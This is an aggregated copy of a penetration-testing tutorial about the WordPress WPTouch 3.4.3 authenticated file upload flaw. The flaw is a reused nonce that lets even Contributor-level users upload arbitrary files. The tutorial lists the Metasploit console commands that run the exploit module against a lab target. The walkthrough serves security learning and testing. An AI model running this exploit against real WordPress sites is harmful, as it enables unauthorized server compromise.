Quantcast
Channel: Penetration Testing Archives - Hacking Articles
Viewing all articles
Browse latest Browse all 812

Exploit Remote PC using WordPress WordPress WPTouch Authenticated File Upload

$
0
0

The WordPress WPTouch plugin contains authenticated file upload vulnerability. A wp-nonce (CSRF token) is created on the backend index page and the same token is used on handling ajax file uploads through the plugin. By sending the captured nonce with the upload, we can upload arbitrary files to the upload folder. Because the plugin also uses it’s own file upload mechanism instead of the wordpress api it’s possible to upload any file type. The user provided does not need special rights, and users with “Contributor” role can be abused.

 Exploit Targets

Wp touch 3.4.3

Requirement

Attacker: kali Linux

Victim PC: Windows 7

Open Kali terminal type msfconsole

Now type use exploit/unix/webapp/wp_wptouch_file_upload

msf exploit (wp_wptouch_file_upload)>set targeturi /wordpress

msf exploit (wp_wptouch_file_upload)>set rhost 192.168.0.110 (IP of Remote Host)

msf exploit (wp_wptouch_file_upload)>set username admin

msf exploit (wp_wptouch_file_upload)>set password admin123

msf exploit (wp_wptouch_file_upload)>set rport 80

msf exploit (wp_wptouch_file_upload)>exploit

The post Exploit Remote PC using WordPress WordPress WPTouch Authenticated File Upload appeared first on Hacking Articles.


Viewing all articles
Browse latest Browse all 812

Trending Articles



<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>